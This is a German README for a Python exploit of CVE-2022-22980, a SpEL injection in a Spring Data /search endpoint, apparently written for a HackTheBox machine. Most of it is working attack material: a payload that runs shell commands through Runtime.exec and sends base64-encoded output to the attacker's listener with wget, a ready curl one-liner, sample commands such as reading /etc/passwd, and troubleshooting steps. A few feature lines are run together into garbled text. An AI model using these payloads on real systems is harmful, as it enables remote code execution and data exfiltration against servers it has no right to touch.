
Ausnutzung von CVE-2022-22980
Exploit für die Ausführung von Remotecode (RCE) auf Spring Data über eine SpEL-Injektion (Spring Expression Language).
Die Box stellt einen Endpunkt /search bereit, der einen Parameter tracking_id akzeptiert, der anfällig für SpEL-Injektion ist. Diese Injektion ermöglicht die Ausführung bösartiger Java-Ausdrücke direkt auf dem Server.
Runtime.getRuntime().exec() ausführthttp.serversubprocessthreadingbase64LPORT im Skript)Ändern Sie die Parameter im Skript entsprechend Ihrer Umgebung:
TARGET = "http://<IP_CIBLE>:8080/search" # URL de la cible
LHOST = "<VOTRE_IP>" # IP locale (tun0 pour HTB)
LPORT = 80 # Port d'écoute
# Einfacher Befehl
python3 spel_shell.py "whoami"
# Befehl mit Pipe
python3 spel_shell.py "cat /etc/passwd"
# Systemenumeration
python3 spel_shell.py "uname -a"
# Netzwerkzugriff prüfen
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
Wenn Sie das Payload ohne Skript testen möchten:
# Terminal 1: Listener starten
python3 -m http.server 80
# Terminal 2: Payload senden
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
Port 80 ist belegt. Lösungen:
# Überprüfen, welcher Prozess den Port verwendet
sudo netstat -tlnp | grep :80
# Apache stoppen, falls aktiv
sudo systemctl stop apache2
# Oder einen anderen Port verwenden
# Ändern Sie LPORT im Skript und testen Sie
python3 spel_shell.py "echo test"sudo unter Linuxifconfig (tun0 für HTB) und nicht 127.0.0.1Wenn Sie "Raw data received" anstelle von "Command output" sehen, hat der Befehl möglicherweise keine gültige Ausgabe erzeugt. Testen Sie einen Befehl, der immer eine Ausgabe liefert.
1. start_server() - Startet einen HTTP-Server auf Port 80
↓
2. Sendet das SpEL-Payload per curl an das Ziel
↓
3. Das Ziel führt den Befehl aus und kodiert das Ergebnis in Base64
↓
4. wget sendet das Ergebnis an den Listener (GET http://LHOST:LPORT/<data>)
↓
5. Der Handler empfängt die Daten und speichert sie
↓
6. Das Skript dekodiert und zeigt das Ergebnis an
Dieses Skript wird zu Bildungszwecken für HackTheBox-Boxen bereitgestellt. Verwenden Sie es nur in Umgebungen, die Sie testen dürfen.
Autor : Eliasdekiniweek
Datum : Februar 2026
Sprache : Python 3